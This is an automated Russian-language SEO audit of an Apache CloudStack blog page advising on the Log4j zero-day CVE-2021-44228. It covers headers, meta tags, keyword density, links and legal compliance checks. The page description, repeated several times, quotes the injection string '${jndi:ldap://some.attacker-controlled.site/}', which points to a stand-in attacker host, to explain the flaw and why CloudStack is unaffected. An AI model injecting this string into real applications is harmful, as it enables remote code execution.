Ключ	Значение
Server	GitHub.com
Access-Control-Allow-Origin	*
ETag	"69e8a0f5-2611"
Cache-Control	max-age=600
x-proxy-cache	MISS
x-github-request-id	83A6:75BC2:2F9889:2FE9E7:6A88B4C8
x-github-edge-region	fra
Accept-Ranges	bytes
Age	0
Date	Fri, 21 Aug 2026 20:27:52 GMT
Via	1.1 varnish
X-Served-By	cache-fra-eddf8230042-FRA
X-Cache	MISS
x-cache-hits	0
x-timer	S1787344072.213214,VS0,VE142
Vary	Accept-Encoding
x-fastly-request-id	b5086ec4912fa7996319d2f7f83e0906146da4c0

CMS

Jekyll v3.10.0

Система управления сайтом (движок) ?

В мета-теге generator указано: Jekyll v3.10.0.

Веб-сервер

GitHub.com

Программное обеспечение сервера ?

В заголовке Server указано: GitHub.com.

Мета-теги Готовность: 33%

Title

CloudStack Advisory on Apache Log4j Zero Day (CVE-2021-44228) | Blogs Archive

Заголовок страницы в браузере и поисковой выдаче ?

Необходимо уменьшить число символов в title (текущее значение: 77, оптимально: от 40 до 45)

Дублей словоформ в title не найдено.

Исправить

Description

On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported. It is by now tracked under CVE-2021-44228: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228. CVE-2021-44228 vulnerability is classified under the highest severity mark and allows an attacker to execute arbitrary code by injecting a sub-string in the form "${jndi:ldap://some.attacker-controlled.site/}" into a logged message. Apache Log4j 2.x is reported to be affected as it performs a lookup (string substitution) using the JNDI protocol, whenever the "${jndi:...}" string is found within a message parameter. The Apache Log4j developers and the SLF4J project advisory confirm that Apache Log4j 1.x does not offer a look-up mechanism and does not suffer remote code execution (RCE) vulnerability from CVE-2021-44228. All Apache CloudStack releases since v4.6 use Apache Log4j version 1.2.17 and therefore are not affected by this RCE vulnerability. Most users who haven't changed the default log4j xml config don't need to do anything, advanced users can check and fix their log4j xml configuration if they're using any custom JMS appenders. The Apache CloudStack project will consider migrating to a different version of Apache Log4j in future releases.

Описание страницы в поисковой выдаче (сниппет) ?

Необходимо уменьшить число символов в description (текущее значение: 1283, оптимально: от 120 до 130)

Исправить

Keywords

Список ключевых слов страницы (устаревший тег) ?

Установите мета-тег keywords!

Исправить

Канонический Url

/cloudstack/entry/log4jshell

Указывает поисковику основную версию страницы ?

Домен в каноническом Url не совпадает!

Исправить

Robots

Ошибок нет

Директивы для поисковых роботов на уровне страницы ?

Meta-тег robots не указан. Страница свободна для индексации.

Адаптивность

width=device-width, initial-scale=1

Настройка масштабирования на мобильных устройствах ?

Meta-тег viewport со значением-константой width=device-width задаёт ширину страницы в соответствии с размером экрана.

Meta-тег viewport со значением initial-scale=1.0 определяет масштаб 1:1, т.е. «не масштабировать».

Разметка OpenGraph

Кол-во: 6

Мета-теги для красивых превью в соцсетях ?

Разметка OpenGraph задана. Страница оптимизирована под социальные сети.

Показать полный список og мета-тегов

Тип	Значение
og:title	CloudStack Advisory on Apache Log4j Zero Day (CVE-2021-44228)
og:locale	en_US
og:description	On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported. It is by now tracked under CVE-2021-44228: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228. CVE-2021-44228 vulnerability is classified under the highest severity mark and allows an attacker to execute arbitrary code by injecting a sub-string in the form "${jndi:ldap://some.attacker-controlled.site/}" into a logged message. Apache Log4j 2.x is reported to be affected as it performs a lookup (string substitution) using the JNDI protocol, whenever the "${jndi:...}" string is found within a message parameter. The Apache Log4j developers and the SLF4J project advisory confirm that Apache Log4j 1.x does not offer a look-up mechanism and does not suffer remote code execution (RCE) vulnerability from CVE-2021-44228. All Apache CloudStack releases since v4.6 use Apache Log4j version 1.2.17 and therefore are not affected by this RCE vulnerability. Most users who haven't changed the default log4j xml config don't need to do anything, advanced users can check and fix their log4j xml configuration if they're using any custom JMS appenders. The Apache CloudStack project will consider migrating to a different version of Apache Log4j in future releases.
og:url	/cloudstack/entry/log4jshell
og:site_name	Blogs Archive
og:type	article

Все мета-теги

Кол-во: 12

Полный список мета-тегов страницы ?

Найдены мета-теги 12шт. Мета-теги не видимы для человека и предназначены для обмена информацией между веб-страницей и поисковыми системами, браузерами и другими веб-службами. С ними роботы 🤖 и устройства ведут себя более ожидаемо.

Показать полный список мета-тегов

Тип	Название	Значение
name	viewport	width=device-width, initial-scale=1
name	generator	Jekyll v3.10.0
name	description	On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported. It is by now tracked under CVE-2021-44228: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228. CVE-2021-44228 vulnerability is classified under the highest severity mark and allows an attacker to execute arbitrary code by injecting a sub-string in the form "${jndi:ldap://some.attacker-controlled.site/}" into a logged message. Apache Log4j 2.x is reported to be affected as it performs a lookup (string substitution) using the JNDI protocol, whenever the "${jndi:...}" string is found within a message parameter. The Apache Log4j developers and the SLF4J project advisory confirm that Apache Log4j 1.x does not offer a look-up mechanism and does not suffer remote code execution (RCE) vulnerability from CVE-2021-44228. All Apache CloudStack releases since v4.6 use Apache Log4j version 1.2.17 and therefore are not affected by this RCE vulnerability. Most users who haven't changed the default log4j xml config don't need to do anything, advanced users can check and fix their log4j xml configuration if they're using any custom JMS appenders. The Apache CloudStack project will consider migrating to a different version of Apache Log4j in future releases.
name	twitter:card	summary
property	og:title	CloudStack Advisory on Apache Log4j Zero Day (CVE-2021-44228)
property	og:locale	en_US
property	og:description	On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported. It is by now tracked under CVE-2021-44228: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228. CVE-2021-44228 vulnerability is classified under the highest severity mark and allows an attacker to execute arbitrary code by injecting a sub-string in the form "${jndi:ldap://some.attacker-controlled.site/}" into a logged message. Apache Log4j 2.x is reported to be affected as it performs a lookup (string substitution) using the JNDI protocol, whenever the "${jndi:...}" string is found within a message parameter. The Apache Log4j developers and the SLF4J project advisory confirm that Apache Log4j 1.x does not offer a look-up mechanism and does not suffer remote code execution (RCE) vulnerability from CVE-2021-44228. All Apache CloudStack releases since v4.6 use Apache Log4j version 1.2.17 and therefore are not affected by this RCE vulnerability. Most users who haven't changed the default log4j xml config don't need to do anything, advanced users can check and fix their log4j xml configuration if they're using any custom JMS appenders. The Apache CloudStack project will consider migrating to a different version of Apache Log4j in future releases.
property	og:url	/cloudstack/entry/log4jshell
property	og:site_name	Blogs Archive
property	og:type	article
property	article:published_time	2021-12-13T16:12:50+00:00
property	twitter:title	CloudStack Advisory on Apache Log4j Zero Day (CVE-2021-44228)

Оптимизация Готовность: 70%

Структура

Ошибок нет

Семантические HTML-элементы страницы ?

Структура документа корректна (теги <html> и <body> присутствуют по одному на документ).

Контент

Есть ошибки

Объём и качество текстового содержимого ?

Абзацев с текстом 7 слишком мало. Добавьте больше абзацев с текстом (тег <p>)!

Кол-во слов 215 слишком мало. Добавьте больше текста (минимум 400 слов)!

Слова из title 10 встречаются в тексте достаточно.

Среднее число слов в абзаце 30 достаточно.

Кол-во знаков контента 1500 на странице оптимально.

Исправить

Заголовки

Ошибок нет

Иерархия заголовков H1–H6 ?

На странице присутствуют заголовки <h1> 1. Это прекрасно.

На странице присутствуют заголовки <h2> 1. Это хорошо.

Тошнота

3,46

Насколько одно слово доминирует в тексте ?

Тошнота превышает норму 3. Измените текст страницы!

Исправить

Академич. тошнота

26,51%

Насколько текст перенасыщен ключевыми словами ?

Академическая тошнота превышает норму 5-15%. Измените текст страницы!

Исправить

Семантическое ядро

Наиболее часто встречающиеся слова на странице ?

Контент страницы содержит осмысленный текст и слова.

Показать список слов

Слово	Кол-во	Частота
apache	12	5,58%
archive	4	1,86%
vulnerability	4	1,86%
cloudstack	3	1,40%
cve-2021-44228	3	1,40%
advisory	2	0,93%
reported	2	0,93%
message	2	0,93%
affected	2	0,93%
string	2	0,93%
project	2	0,93%
releases	2	0,93%
version	2	0,93%
december	1	0,47%
zero-day	1	0,47%
tracked	1	0,47%
cve-2021-44228:	1	0,47%
https://cve	1	0,47%
org/cgi-bin/cvename	1	0,47%
cgi?name=cve-2021-44228	1	0,47%

Индексация Готовность: 45%

Индексирование

Ошибок нет

Разрешено ли индексирование страницы ?

Анкоров на странице 8 оптимально. Поисковые роботы обязательно проиндексируют сайт.

Robots.txt

Не найден

Файл управления сканированием сайта роботами ?

Файл robots.txt не найден (ошибка 404). Крайне рекомендуем добавить файл robots.txt, это правило хорошего тона для поисковых роботов.

Исправить

Sitemap

Кол-во: 0

XML-карта сайта для поисковиков ?

Robots.txt не содержит ссылку на карту сайта. Рекомендуется добавить карту сайта и указать ссылку на нее в robots.txt.

Исправить

Внутренние ссылки

Кол-во: 3

Ссылки на другие страницы своего сайта ?

На странице присутствуют внутренние ссылки с пустым анкором: 1!

Внутренних ссылок на странице 3 оптимально.

Показать внутренние ссылки

Url	Анкор	Состояние
/	Blogs Archive
/about/	About
/cloudstack/entry/log4jshell	Пустой анкор

Исправить

Внешние ссылки

Кол-во: 5

Ссылки на сторонние сайты ?

Внешних ссылок на странице 5 оптимально.

Показать внешние ссылки

Url	Анкор
cve.mitre.org	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
github.com	Log4j developers
slf4j.org	SLF4J project advisory
github.com	<svg class="svg-icon"><use xlink:href="/assets/minima-social-icons.svg#github"></use></svg> <span class="username">apache</span>
twitter.com	<svg class="svg-icon"><use xlink:href="/assets/minima-social-icons.svg#twitter"></use></svg> <span class="username">theASF</span>

Конкуренты Готовность: 0%

Конкуренты в Яндексе

Кол-во: 0

Топ сайтов-конкурентов в Яндексе ?

Мы не нашли у вас конкурентов в Яндексе. Сайт или очень молодой или плохо продвигается.

Конкурентов в ТОП-10 Яндекса не нашлось.

Исправить

Конкуренты в Google

Кол-во: 0

Топ сайтов-конкурентов в Google ?

Конкуренты в Google тоже не найдены. Займитесь продвижением сайта!

Конкурентов в ТОП-10 Google не нашлось.

Исправить

ЗоЗПП: права потребителей Готовность: 100%

Нарушения

Не выявлены

Признаков дистанционной продажи товаров (интернет-магазина) не обнаружено — требования ЗоЗПП о раскрытии информации продавца к сайту не применяются. Нарушений нет.

ФЗ-149: рекомендательные технологии Готовность: 100%

Нарушения

Не выявлены

Рекомендательные блоки («с этим покупают», «похожие товары» и т.п.) на сайте не обнаружены — требования ст. 10.7 ФЗ-149 к сайту не применяются. Нарушений нет.

ФЗ-38: реклама Готовность: 100%

Нарушения

Не выявлены

Рекламных тематик с обязательными оговорками (медицина, БАД, кредиты и займы, новостройки) на сайте не обнаружено. Нарушений нет.

ФЗ-436: защита детей Готовность: 100%

Нарушения

Не выявлены

Признаков информационной продукции (новости, видео, книги, игры, курсы) не обнаружено — обязательная возрастная маркировка по ФЗ-436 сайту не требуется. Нарушений нет.

Поделитесь с друзьями:

Анализ страницы https://blogsarchive.apache.org/cloudstack/entry/log4jshell

Основное Готовность: 100%

Домен

Ответ сервера

Безопасность

Кодировка

Язык

Скорость загрузки

Объем документа

Ресурсы

Серверные заголовки

CMS

Веб-сервер

Мета-теги Готовность: 33%

Title

Description

Keywords

Канонический Url

Robots

Адаптивность

Разметка OpenGraph

Все мета-теги

Оптимизация Готовность: 70%

Структура

Контент

Заголовки

Тошнота

Академич. тошнота

Семантическое ядро

Индексация Готовность: 45%

Индексирование

Robots.txt

Sitemap

Внутренние ссылки

Внешние ссылки

Конкуренты Готовность: 0%

Конкуренты в Яндексе

Конкуренты в Google

ЗоЗПП: права потребителей Готовность: 100%

Нарушения

ФЗ-149: рекомендательные технологии Готовность: 100%

Нарушения

ФЗ-38: реклама Готовность: 100%

Нарушения

ФЗ-436: защита детей Готовность: 100%

Нарушения

Вердикт